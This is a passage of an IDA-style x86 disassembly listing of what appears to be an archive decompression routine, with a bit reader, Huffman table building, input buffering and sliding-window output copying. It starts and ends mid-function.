loc_9B03C6:				; CODE XREF: sub_9B02F5+2Ej
					; sub_9B02F5+C8j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	eax, [ebp+var_20]
		call	__SEH_epilog
		retn
sub_9B02F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B03D3	proc near		; CODE XREF: sub_9B1547+70Dp
					; sub_9B1547+84Fp

arg_0		= dword	ptr  4

		lea	ecx, [eax+408AFCh]
		mov	edx, [ecx]
		mov	[eax+408B00h], edx
		lea	edx, [eax+408AF8h]
		push	esi
		mov	esi, [edx]
		mov	[ecx], esi
		add	eax, 408AF4h
		mov	ecx, [eax]
		mov	[edx], ecx
		mov	ecx, [esp+4+arg_0]
		mov	[eax], ecx
		pop	esi
		retn
sub_9B03D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B03FD	proc near		; CODE XREF: sub_9B1547+59Bp
					; sub_9B1547+866p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [eax+40800Ch]
		push	edi
		mov	edi, ecx
		mov	ecx, esi
		sub	ecx, [esp+8+arg_0]
		mov	edx, 3FFEFCh
		cmp	ecx, edx
		jnb	short loc_9B045A
		cmp	esi, edx
		jnb	short loc_9B045A
		mov	dl, [ecx+eax+8004h]
		mov	[esi+eax+8004h], dl
		inc	dword ptr [eax+40800Ch]
		mov	edx, [eax+40800Ch]
		inc	ecx
		dec	edi
		jz	short loc_9B0490
		lea	esi, [ecx+eax+8004h]


loc_9B043F:				; CODE XREF: sub_9B03FD+59j
		mov	cl, [esi]
		mov	[edx+eax+8004h], cl
		inc	dword ptr [eax+40800Ch]
		mov	edx, [eax+40800Ch]
		inc	esi
		dec	edi
		jnz	short loc_9B043F
		jmp	short loc_9B0490
; ---------------------------------------------------------------------------


loc_9B045A:				; CODE XREF: sub_9B03FD+17j
					; sub_9B03FD+1Bj
		test	edi, edi
		jz	short loc_9B0490
		mov	esi, 3FFFFFh
		push	ebx


loc_9B0464:				; CODE XREF: sub_9B03FD+90j
		mov	ebx, [eax+40800Ch]
		mov	edx, ecx
		and	edx, esi
		mov	dl, [edx+eax+8004h]
		mov	[eax+ebx+8004h], dl
		mov	edx, [eax+40800Ch]
		inc	ecx
		inc	edx
		and	edx, esi
		dec	edi
		mov	[eax+40800Ch], edx
		jnz	short loc_9B0464
		pop	ebx


loc_9B0490:				; CODE XREF: sub_9B03FD+39j
					; sub_9B03FD+5Bj ...
		pop	edi
		pop	esi
		retn
sub_9B03FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B0493	proc near		; CODE XREF: sub_9B09FF+89p
					; sub_9B0AAE+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		mov	eax, [esp+arg_4]
		lea	edx, [ecx+408008h]
		add	eax, [edx]
		push	esi
		mov	esi, eax
		sar	esi, 3
		add	[ecx+408004h], esi
		and	eax, 7
		mov	[edx], eax
		pop	esi
		retn
sub_9B0493	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B04B6	proc near		; CODE XREF: sub_9B09FF+7p
					; sub_9B0AAE+43p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [edx+408004h]
		push	ebx
		xor	ebx, ebx
		add	eax, edx
		mov	bh, [eax+4]
		push	8
		pop	ecx
		sub	ecx, [edx+408008h]
		mov	bl, [eax+5]
		movzx	eax, byte ptr [eax+6]
		shl	ebx, 8
		or	ebx, eax
		shr	ebx, cl
		and	ebx, 0FFFFh
		mov	eax, ebx
		pop	ebx
		retn
sub_9B04B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B04E9	proc near		; CODE XREF: sub_9B05B9+16p
					; sub_9B0AAE+21p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		mov	ecx, [esi+408018h]
		mov	eax, [esi+408004h]
		push	edi
		mov	edi, ecx
		sub	edi, eax
		jns	short loc_9B0508
		xor	eax, eax
		jmp	loc_9B05B6
; ---------------------------------------------------------------------------


loc_9B0508:				; CODE XREF: sub_9B04E9+16j
		cmp	eax, 4000h
		jle	short loc_9B0535
		test	edi, edi
		jle	short loc_9B0526
		lea	eax, [eax+esi+4]
		push	edi		; Size
		push	eax		; Src
		lea	eax, [esi+4]
		push	eax		; Dst
		call	memmove
		add	esp, 0Ch


loc_9B0526:				; CODE XREF: sub_9B04E9+28j
		and	dword ptr [esi+408004h], 0
		mov	[esi+408018h], edi
		jmp	short loc_9B0537
; ---------------------------------------------------------------------------


loc_9B0535:				; CODE XREF: sub_9B04E9+24j
		mov	edi, ecx


loc_9B0537:				; CODE XREF: sub_9B04E9+4Aj
		mov	ecx, [esi+40D7F8h]
		push	ebx
		mov	ebx, 8000h
		mov	eax, ebx
		sub	eax, edi
		and	eax, 0FFFFFFF0h
		cmp	ecx, eax
		jnb	short loc_9B0550
		mov	eax, ecx


loc_9B0550:				; CODE XREF: sub_9B04E9+63j
		push	eax		; Size
		lea	eax, [edi+esi+4]
		push	eax		; Dst
		push	[esp+14h+arg_0]	; int
		call	sub_9B4FA3
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jle	short loc_9B0574
		add	[esi+408018h], edi
		sub	[esi+40D7F8h], edi


loc_9B0574:				; CODE XREF: sub_9B04E9+7Dj
		mov	eax, [esi+408018h]
		lea	ecx, [eax-1Eh]
		cmp	ecx, [esi+408004h]
		mov	[esi+40801Ch], ecx
		jge	short loc_9B05AD
		lea	ecx, [eax+1Eh]
		cmp	ecx, ebx
		jge	short loc_9B0597
		push	1Eh
		pop	ecx
		jmp	short loc_9B059D
; ---------------------------------------------------------------------------


loc_9B0597:				; CODE XREF: sub_9B04E9+A7j
		mov	ecx, ebx
		sub	ecx, eax
		jz	short loc_9B05AD


loc_9B059D:				; CODE XREF: sub_9B04E9+ACj
		push	ecx		; Size
		lea	eax, [eax+esi+4]
		push	0		; Val
		push	eax		; Dst
		call	memset
		add	esp, 0Ch


loc_9B05AD:				; CODE XREF: sub_9B04E9+A0j
					; sub_9B04E9+B2j
		xor	eax, eax
		cmp	edi, 0FFFFFFFFh
		setnz	al
		pop	ebx


loc_9B05B6:				; CODE XREF: sub_9B04E9+1Aj
		pop	edi
		pop	esi
		retn
sub_9B04E9	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B05B9	proc near		; CODE XREF: sub_9B3705+Ep
					; sub_9B3705+2Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		cmp	dword ptr [esi+408004h], 7FE2h
		jle	short loc_9B05DF
		push	esi
		push	[esp+8+arg_0]
		call	sub_9B04E9
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_9B05DF
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_9B05DF:				; CODE XREF: sub_9B05B9+Fj
					; sub_9B05B9+1Fj
		mov	eax, [esi+408004h]
		mov	cl, [eax+esi+4]
		inc	eax
		mov	[esi+408004h], eax
		movzx	eax, cl
		pop	esi
		retn
sub_9B05B9	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9B05F5(void *Src,size_t Size)

sub_9B05F5	proc near		; CODE XREF: sub_9B0636+1Cp
					; sub_9B0636+2Bp ...

Src		= dword	ptr  4
Size		= dword	ptr  8

		push	esi
		push	[esp+4+Size]	; Size
		mov	esi, eax
		push	[esp+8+Src]	; Src
		push	dword ptr [esi]	; int
		call	sub_9B4FFF
		add	esp, 0Ch
		test	eax, eax
		jle	short loc_9B061A
		cdq
		lea	ecx, [esi+40D7BCh]
		add	[ecx], eax
		adc	[ecx+4], edx


loc_9B061A:				; CODE XREF: sub_9B05F5+17j
		push	[esp+4+Size]
		add	esi, 40D7F4h
		push	[esp+8+Src]
		push	dword ptr [esi]
		call	sub_9B39E0
		add	esp, 0Ch
		mov	[esi], eax
		pop	esi
		retn
sub_9B05F5	endp


; =============== S U B	R O U T	I N E =======================================


; int __fastcall sub_9B0636(size_t Size)

sub_9B0636	proc near		; CODE XREF: sub_9B06DE+7Cp
					; sub_9B06DE+20Ap
		push	edi
		mov	edi, ecx
		cmp	edi, eax
		jnb	short loc_9B066B
		mov	ecx, eax
		neg	ecx
		and	ecx, 3FFFFFh
		lea	eax, [esi+eax+8004h]
		push	ecx		; Size
		push	eax		; Src
		mov	eax, esi
		call	sub_9B05F5
		lea	eax, [esi+8004h]
		push	edi		; Size
		push	eax		; Src
		mov	eax, esi
		call	sub_9B05F5
		add	esp, 10h
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_9B066B:				; CODE XREF: sub_9B0636+5j
		sub	edi, eax
		lea	eax, [esi+eax+8004h]
		push	edi		; Size
		push	eax		; Src
		mov	eax, esi
		call	sub_9B05F5
		pop	ecx
		pop	ecx
		pop	edi
		retn
sub_9B0636	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B0681	proc near		; CODE XREF: sub_9B06DE+113p
					; sub_9B06DE+18Ep
		cmp	dword ptr [edi+18h], 0
		push	esi
		mov	esi, eax
		jle	short loc_9B06DC
		mov	eax, [esi+40D7BCh]
		mov	[edi+3Ch], eax
		push	dword ptr [esi+40D7BCh]
		mov	eax, [edi+0Ch]
		add	eax, 24h
		push	eax
		push	0
		call	sub_9B39C6
		mov	eax, [esi+40D7BCh]
		mov	edx, [esi+40D7C0h]
		add	esp, 0Ch
		mov	cl, 20h
		call	__allshr
		push	eax
		mov	eax, [edi+0Ch]
		add	eax, 28h
		push	eax
		push	0
		call	sub_9B39C6
		push	edi		; Size
		add	esi, 40D7CCh
		push	esi		; int
		call	sub_9B494C
		add	esp, 14h


loc_9B06DC:				; CODE XREF: sub_9B0681+7j
		pop	esi
		retn
sub_9B0681	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B06DE	proc near		; CODE XREF: sub_9B1547+4AEp
					; sub_9B1547+733p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
Src		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		mov	esi, eax
		mov	eax, [esi+408010h]
		mov	ecx, [esi+40800Ch]
		sub	ecx, eax
		and	ecx, 3FFFFFh
		cmp	dword ptr [esi+40D7ACh], 0
		push	edi
		jbe	loc_9B08E2


loc_9B070E:				; CODE XREF: sub_9B06DE+1FEj
		mov	ebx, [ebp+var_4]
		mov	edx, [esi+40D7A8h]
		shl	ebx, 2
		mov	edx, [ebx+edx]
		test	edx, edx
		mov	[ebp+var_8], edx
		jz	loc_9B08D0
		cmp	dword ptr [edx+0Ch], 0
		jz	short loc_9B0737
		and	dword ptr [edx+0Ch], 0
		jmp	loc_9B08D0
; ---------------------------------------------------------------------------


loc_9B0737:				; CODE XREF: sub_9B06DE+4Ej
		mov	edi, [edx]
		mov	edx, [edx+4]
		mov	[ebp+Src], edx
		mov	edx, edi
		sub	edx, eax
		and	edx, 3FFFFFh
		cmp	edx, ecx
		mov	[ebp+var_14], edi
		jnb	loc_9B08D0
		cmp	eax, edi
		jz	short loc_9B0772
		mov	ecx, edi	; Size
		call	sub_9B0636
		mov	ecx, [esi+40800Ch]
		sub	ecx, edi
		mov	edx, 3FFFFFh
		mov	eax, edi
		and	ecx, edx
		jmp	short loc_9B0777
; ---------------------------------------------------------------------------


loc_9B0772:				; CODE XREF: sub_9B06DE+78j
		mov	edx, 3FFFFFh


loc_9B0777:				; CODE XREF: sub_9B06DE+92j
		cmp	[ebp+Src], ecx
		ja	loc_9B08FE
		mov	ecx, [ebp+Src]
		lea	eax, [ecx+edi]
		and	eax, edx
		cmp	edi, eax
		mov	[ebp+var_10], eax
		jb	short loc_9B07CF
		test	eax, eax
		jz	short loc_9B07CF
		mov	eax, edx
		sub	eax, edi
		push	eax		; int
		mov	[ebp+Src], eax
		lea	eax, [esi+edi+8004h]
		push	eax		; Src
		lea	ecx, [esi+40D7CCh]
		push	0		; int
		push	ecx		; int
		call	sub_9B3C6E
		push	[ebp+var_10]	; int
		lea	eax, [esi+8004h]
		push	eax		; Src
		push	[ebp+Src]	; int
		lea	eax, [esi+40D7CCh]
		push	eax		; int
		call	sub_9B3C6E
		add	esp, 20h
		jmp	short loc_9B07E9
; ---------------------------------------------------------------------------


loc_9B07CF:				; CODE XREF: sub_9B06DE+AFj
					; sub_9B06DE+B3j
		push	ecx		; int
		lea	ecx, [edi+esi+8004h]
		push	ecx		; Src
		lea	eax, [esi+40D7CCh]
		push	0		; int
		push	eax		; int
		call	sub_9B3C6E
		add	esp, 10h


loc_9B07E9:				; CODE XREF: sub_9B06DE+EFj
		mov	edi, [ebp+var_8]
		add	edi, 10h
		mov	eax, esi
		call	sub_9B0681
		mov	eax, [edi+14h]
		mov	edi, [edi+40h]
		mov	[ebp+Src], eax
		mov	eax, [esi+40D7A8h]
		push	dword ptr [ebx+eax] ; Memory
		call	sub_9B24D9
		mov	eax, [esi+40D7A8h]
		and	dword ptr [ebx+eax], 0
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [esi+40D7ACh]
		pop	ecx
		jnb	loc_9B08B2
		mov	[ebp+var_8], eax


loc_9B082B:				; CODE XREF: sub_9B06DE+1CEj
		mov	eax, [esi+40D7A8h]
		mov	eax, [ebx+eax+4]
		test	eax, eax
		jz	short loc_9B08B2
		mov	ecx, [ebp+var_14]
		cmp	[eax], ecx
		jnz	short loc_9B08B2
		cmp	[eax+4], edi
		jnz	short loc_9B08B2
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_9B08B2
		push	edi		; int
		push	[ebp+Src]	; Src
		lea	eax, [esi+40D7CCh]
		push	0		; int
		push	eax		; int
		call	sub_9B3C6E
		mov	eax, [esi+40D7A8h]
		mov	edi, [ebx+eax+4]
		add	edi, 10h
		mov	eax, esi
		call	sub_9B0681
		mov	eax, [edi+14h]
		inc	[ebp+var_4]
		mov	edi, [edi+40h]
		inc	[ebp+var_8]
		mov	[ebp+Src], eax
		mov	eax, [ebp+var_4]
		mov	ebx, eax
		mov	eax, [esi+40D7A8h]
		shl	ebx, 2
		push	dword ptr [ebx+eax] ; Memory
		call	sub_9B24D9
		mov	eax, [esi+40D7A8h]
		and	dword ptr [ebx+eax], 0
		mov	eax, [ebp+var_8]
		add	esp, 14h
		cmp	eax, [esi+40D7ACh]
		jb	loc_9B082B


loc_9B08B2:				; CODE XREF: sub_9B06DE+144j
					; sub_9B06DE+159j ...
		push	edi		; Size
		push	[ebp+Src]	; Src
		mov	eax, esi
		call	sub_9B05F5
		mov	eax, [ebp+var_10]
		pop	ecx
		pop	ecx
		mov	ecx, [esi+40800Ch]
		sub	ecx, eax
		and	ecx, 3FFFFFh


loc_9B08D0:				; CODE XREF: sub_9B06DE+44j
					; sub_9B06DE+54j ...
		inc	[ebp+var_4]
		mov	edx, [ebp+var_4]
		cmp	edx, [esi+40D7ACh]
		jb	loc_9B070E


loc_9B08E2:				; CODE XREF: sub_9B06DE+2Aj
		mov	ecx, [esi+40800Ch] ; Size
		call	sub_9B0636
		mov	eax, [esi+40800Ch]


loc_9B08F3:				; CODE XREF: sub_9B06DE+245j
		pop	edi
		mov	[esi+408010h], eax
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_9B08FE:				; CODE XREF: sub_9B06DE+9Cj
		mov	edx, [ebp+var_4]
		jmp	short loc_9B091B
; ---------------------------------------------------------------------------


loc_9B0903:				; CODE XREF: sub_9B06DE+243j
		mov	ecx, [esi+40D7A8h]
		mov	ecx, [ecx+edx*4]
		test	ecx, ecx
		jz	short loc_9B091A
		cmp	dword ptr [ecx+0Ch], 0
		jz	short loc_9B091A
		and	dword ptr [ecx+0Ch], 0


loc_9B091A:				; CODE XREF: sub_9B06DE+230j
					; sub_9B06DE+236j
		inc	edx


loc_9B091B:				; CODE XREF: sub_9B06DE+223j
		cmp	edx, [esi+40D7ACh]
		jb	short loc_9B0903
		jmp	short loc_9B08F3
sub_9B06DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B0925	proc near		; CODE XREF: sub_9B0AAE+12Ap
					; sub_9B0AAE+252p ...

var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
Dst		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		push	ebx
		push	esi
		push	edi
		push	40h		; Size
		xor	edi, edi
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	memset
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_4]
		mov	eax, ebx
		shl	eax, 2
		push	eax		; Size
		lea	eax, [esi+84h]
		push	edi		; Val
		push	eax		; Dst
		call	memset
		add	esp, 18h
		xor	ecx, ecx
		cmp	ebx, edi
		jle	short loc_9B0976


loc_9B0961:				; CODE XREF: sub_9B0925+4Fj
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [ecx+eax]
		and	eax, 0Fh
		lea	eax, [ebp+eax*4+Dst]
		inc	dword ptr [eax]
		inc	ecx
		cmp	ecx, ebx
		jl	short loc_9B0961


loc_9B0976:				; CODE XREF: sub_9B0925+3Aj
		lea	edx, [esi+44h]
		push	0Eh
		mov	[ebp+Dst], edi
		mov	[esi+4], edi
		mov	[edx], edi
		mov	[ebp+var_80], edi
		mov	[ebp+arg_4], edi
		pop	ecx


loc_9B098A:				; CODE XREF: sub_9B0925+99j
		mov	eax, [ebp+edi+var_3C]
		add	eax, [ebp+arg_4]
		mov	ebx, 0FFFFh
		shl	eax, 1
		mov	[ebp+arg_4], eax
		shl	eax, cl
		cmp	eax, ebx
		jle	short loc_9B09A3
		mov	eax, ebx


loc_9B09A3:				; CODE XREF: sub_9B0925+7Aj
		mov	ebx, [edx]
		mov	[edx-3Ch], eax
		mov	eax, [ebp+edi+Dst]
		add	eax, ebx
		add	edx, 4
		mov	[ebp+edi+var_7C], eax
		dec	ecx
		add	edi, 4
		cmp	ecx, 0FFFFFFFFh
		mov	[edx], eax
		jg	short loc_9B098A
		mov	edx, [ebp+arg_8]
		xor	ecx, ecx
		test	edx, edx
		jle	short loc_9B09F8


loc_9B09C9:				; CODE XREF: sub_9B0925+D1j
		mov	eax, [ebp+arg_0]
		lea	edi, [ecx+eax]
		cmp	byte ptr [edi],	0
		jz	short loc_9B09F3
		xor	eax, eax
		mov	al, [edi]
		and	eax, 0Fh
		mov	eax, [ebp+eax*4+var_80]
		mov	[esi+eax*4+84h], ecx
		xor	eax, eax
		mov	al, [edi]
		and	eax, 0Fh
		lea	eax, [ebp+eax*4+var_80]
		inc	dword ptr [eax]


loc_9B09F3:				; CODE XREF: sub_9B0925+ADj
		inc	ecx
		cmp	ecx, edx
		jl	short loc_9B09C9


loc_9B09F8:				; CODE XREF: sub_9B0925+A2j
		pop	edi
		mov	[esi], edx
		pop	esi
		pop	ebx
		leave
		retn
sub_9B0925	endp


; =============== S U B	R O U T	I N E =======================================



sub_9B09FF	proc near		; CODE XREF: sub_9B0AAE+160p
					; sub_9B1547+5EBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_9B04B6
		mov	ebx, [esp+10h+arg_4]
		mov	edi, eax
		and	edi, 0FFFEh
		cmp	edi, [ebx+24h]
		pop	ecx
		jnb	short loc_9B0A53
		cmp	edi, [ebx+14h]
		jnb	short loc_9B0A3A
		cmp	edi, [ebx+0Ch]
		jnb	short loc_9B0A30
		cmp	edi, [ebx+8]
		sbb	esi, esi
		inc	esi
		inc	esi
		jmp	short loc_9B0A83
; ---------------------------------------------------------------------------


loc_9B0A30:				; CODE XREF: sub_9B09FF+26j
		cmp	edi, [ebx+10h]
		sbb	esi, esi
		add	esi, 4
		jmp	short loc_9B0A83
; ---------------------------------------------------------------------------


loc_9B0A3A:				; CODE XREF: sub_9B09FF+21j
		cmp	edi, [ebx+1Ch]
		jnb	short loc_9B0A49
		cmp	edi, [ebx+18h]
		sbb	esi, esi
		add	esi, 6
		jmp	short loc_9B0A83
; ---------------------------------------------------------------------------


loc_9B0A49:				; CODE XREF: sub_9B09FF+3Ej
		cmp	edi, [ebx+20h]
		sbb	esi, esi
		add	esi, 8
		jmp	short loc_9B0A83
; ---------------------------------------------------------------------------


loc_9B0A53:				; CODE XREF: sub_9B09FF+1Cj
		cmp	edi, [ebx+34h]
		jnb	short loc_9B0A71
		cmp	edi, [ebx+2Ch]
		jnb	short loc_9B0A67
		cmp	edi, [ebx+28h]
		sbb	esi, esi
		add	esi, 0Ah
		jmp	short loc_9B0A83
; ---------------------------------------------------------------------------


loc_9B0A67:				; CODE XREF: sub_9B09FF+5Cj
		cmp	edi, [ebx+30h]
		sbb	esi, esi
		add	esi, 0Ch
		jmp	short loc_9B0A83
; ---------------------------------------------------------------------------


loc_9B0A71:				; CODE XREF: sub_9B09FF+57j
		cmp	edi, [ebx+3Ch]
		jnb	short loc_9B0A80
		cmp	edi, [ebx+38h]
		sbb	esi, esi
		add	esi, 0Eh
		jmp	short loc_9B0A83
; ---------------------------------------------------------------------------


loc_9B0A80:				; CODE XREF: sub_9B09FF+75j
		push	0Fh
		pop	esi


loc_9B0A83:				; CODE XREF: sub_9B09FF+2Fj
					; sub_9B09FF+39j ...
		push	esi
		push	[esp+10h+arg_0]
		call	sub_9B0493
		sub	edi, [ebx+esi*4]
		pop	ecx
		pop	ecx
		push	10h
		pop	ecx
		sub	ecx, esi
		shr	edi, cl
		add	edi, [ebx+esi*4+44h]
		cmp	edi, [ebx]
		jb	short loc_9B0AA3
		xor	edi, edi


loc_9B0AA3:				; CODE XREF: sub_9B09FF+A0j
		mov	eax, [ebx+edi*4+84h]
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_9B09FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B0AAE	proc near		; CODE XREF: sub_9B0D64+44p
					; sub_9B1547+450p ...

var_1AD		= byte ptr -1ADh
Src		= byte ptr -1ACh
var_81		= byte ptr -81h
var_45		= byte ptr -45h
var_34		= byte ptr -34h
var_18		= byte ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1ACh
		push	esi
		mov	esi, eax
		mov	eax, [esi+408018h]
		sub	eax, 19h
		cmp	[esi+408004h], eax
		jle	short loc_9B0ADE
		push	esi
		push	[ebp+arg_0]
		call	sub_9B04E9
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_9B0D5D


loc_9B0ADE:				; CODE XREF: sub_9B0AAE+1Bj
		mov	eax, [esi+408008h]
		neg	eax
		and	eax, 7
		push	eax
		push	esi
		call	sub_9B0493
		push	esi
		call	sub_9B04B6
		add	esp, 0Ch
		test	ah, ah
		jns	short loc_9B0B2C
		lea	eax, [esi+40D79Ch]
		push	eax
		push	esi
		push	[ebp+arg_0]
		mov	dword ptr [esi+408020h], 1
		add	esi, 408B10h
		push	esi
		call	sub_9B3705
		add	esp, 10h
		neg	eax
		sbb	eax, eax
		neg	eax
		jmp	loc_9B0D5D
; ---------------------------------------------------------------------------


loc_9B0B2C:				; CODE XREF: sub_9B0AAE+4Dj
		push	ebx
		xor	ebx, ebx
		test	ah, 40h
		mov	[esi+408020h], ebx
		mov	[esi+408024h], ebx
		mov	[esi+408028h], ebx
		jnz	short loc_9B0B5B
		push	194h		; Size
		lea	eax, [esi+40802Ch]
		push	ebx		; Val
		push	eax		; Dst
		call	memset
		add	esp, 0Ch


loc_9B0B5B:				; CODE XREF: sub_9B0AAE+96j
		push	2
		push	esi
		call	sub_9B0493
		pop	ecx
		pop	ecx
		push	edi


loc_9B0B66:				; CODE XREF: sub_9B0AAE+11Bj
		push	esi
		call	sub_9B04B6
		shr	eax, 0Ch
		movzx	eax, al
		push	4
		push	esi
		mov	[ebp+var_4], eax
		call	sub_9B0493
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	eax, 0Fh
		jnz	short loc_9B0BC1
		push	esi
		call	sub_9B04B6
		shr	eax, 0Ch
		push	4
		push	esi
		movzx	edi, al
		call	sub_9B0493
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_9B0BAA
		mov	[ebp+ebx+var_18], 0Fh
		jmp	short loc_9B0BC5
; ---------------------------------------------------------------------------


loc_9B0BAA:				; CODE XREF: sub_9B0AAE+F3j
		inc	edi
		inc	edi
		jmp	short loc_9B0BBA
; ---------------------------------------------------------------------------


loc_9B0BAE:				; CODE XREF: sub_9B0AAE+10Ej
		dec	edi
		cmp	ebx, 14h
		jnb	short loc_9B0BBE
		mov	[ebp+ebx+var_18], 0
		inc	ebx


loc_9B0BBA:				; CODE XREF: sub_9B0AAE+FEj
		test	edi, edi
		jg	short loc_9B0BAE


loc_9B0BBE:				; CODE XREF: sub_9B0AAE+104j
		dec	ebx
		jmp	short loc_9B0BC5
; ---------------------------------------------------------------------------


loc_9B0BC1:				; CODE XREF: sub_9B0AAE+D8j
		mov	[ebp+ebx+var_18], al


loc_9B0BC5:				; CODE XREF: sub_9B0AAE+FAj
					; sub_9B0AAE+111j
		inc	ebx
		cmp	ebx, 14h
		jl	short loc_9B0B66
		lea	eax, [esi+408A20h]
		push	14h
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_9B0925
		add	esp, 0Ch
		xor	ebx, ebx


loc_9B0BE2:				; CODE XREF: sub_9B0AAE+222j
		mov	eax, [esi+408018h]
		sub	eax, 5
		cmp	[esi+408004h], eax
		jle	short loc_9B0C06
		push	esi
		push	[ebp+arg_0]
		call	sub_9B04E9
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_9B0D60


loc_9B0C06:				; CODE XREF: sub_9B0AAE+143j
		lea	eax, [esi+408A20h]
		push	eax
		push	esi
		call	sub_9B09FF
		cmp	eax, 10h
		pop	ecx
		pop	ecx
		jge	short loc_9B0C33
		mov	cl, [ebx+esi+40802Ch]
		add	cl, al
		and	cl, 0Fh
		mov	[ebp+ebx+Src], cl
		inc	ebx
		jmp	loc_9B0CCA
; ---------------------------------------------------------------------------


loc_9B0C33:				; CODE XREF: sub_9B0AAE+16Aj
		cmp	eax, 12h
		push	esi
		jge	short loc_9B0C87
		cmp	eax, 10h
		jnz	short loc_9B0C4F
		call	sub_9B04B6
		mov	edi, eax
		shr	edi, 0Dh
		add	edi, 3
		push	3
		jmp	short loc_9B0C5E
; ---------------------------------------------------------------------------


loc_9B0C4F:				; CODE XREF: sub_9B0AAE+18Ej
		call	sub_9B04B6
		mov	edi, eax
		shr	edi, 9
		add	edi, 0Bh
		push	7


loc_9B0C5E:				; CODE XREF: sub_9B0AAE+19Fj
		push	esi
		call	sub_9B0493
		add	esp, 0Ch
		jmp	short loc_9B0C81
; ---------------------------------------------------------------------------


loc_9B0C69:				; CODE XREF: sub_9B0AAE+1D5j
		dec	edi
		cmp	ebx, 194h
		jge	short loc_9B0CD6
		mov	al, [ebp+ebx+var_1AD]
		mov	[ebp+ebx+Src], al
		inc	ebx


loc_9B0C81:				; CODE XREF: sub_9B0AAE+1B9j
		test	edi, edi
		jg	short loc_9B0C69
		jmp	short loc_9B0CCA
; ---------------------------------------------------------------------------


loc_9B0C87:				; CODE XREF: sub_9B0AAE+189j
		jnz	short loc_9B0C9A
		call	sub_9B04B6
		mov	edi, eax
		shr	edi, 0Dh
		add	edi, 3
		push	3
		jmp	short loc_9B0CA9
; ---------------------------------------------------------------------------


loc_9B0C9A:				; CODE XREF: sub_9B0AAE:loc_9B0C87j
		call	sub_9B04B6
		mov	edi, eax
		shr	edi, 9
		add	edi, 0Bh
		push	7


loc_9B0CA9:				; CODE XREF: sub_9B0AAE+1EAj
		push	esi
		call	sub_9B0493
		add	esp, 0Ch
		jmp	short loc_9B0CC6
; ---------------------------------------------------------------------------


loc_9B0CB4:				; CODE XREF: sub_9B0AAE+21Aj
		dec	edi
		cmp	ebx, 194h
		jge	short loc_9B0CD6
		mov	[ebp+ebx+Src], 0
		inc	ebx


loc_9B0CC6:				; CODE XREF: sub_9B0AAE+204j
		test	edi, edi
		jg	short loc_9B0CB4


loc_9B0CCA:				; CODE XREF: sub_9B0AAE+180j
					; sub_9B0AAE+1D7j
		cmp	ebx, 194h
		jl	loc_9B0BE2


loc_9B0CD6:				; CODE XREF: sub_9B0AAE+1C2j
					; sub_9B0AAE+20Dj
		mov	eax, [esi+408004h]
		xor	edi, edi
		inc	edi
		cmp	eax, [esi+408018h]
		mov	[esi+408014h], edi
		jg	short loc_9B0D60
		push	12Bh
		lea	eax, [esi+4081C0h]
		push	eax
		lea	eax, [ebp+Src]
		push	eax
		call	sub_9B0925
		push	3Ch
		lea	eax, [esi+4086F0h]
		push	eax
		lea	eax, [ebp+var_81]
		push	eax
		call	sub_9B0925
		push	11h
		lea	eax, [esi+408864h]
		push	eax
		lea	eax, [ebp+var_45]
		push	eax
		call	sub_9B0925
		push	1Ch
		lea	eax, [esi+40892Ch]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		call	sub_9B0925
		push	194h		; Size
		lea	eax, [ebp+Src]
		push	eax		; Src
		add	esi, 40802Ch
		push	esi		; Dst
		call	memcpy
		add	esp, 3Ch
		mov	eax, edi


loc_9B0D5B:				; CODE XREF: sub_9B0AAE+2B4j
		pop	edi
		pop	ebx


loc_9B0D5D:				; CODE XREF: sub_9B0AAE+2Aj
					; sub_9B0AAE+79j
		pop	esi
		leave
		retn
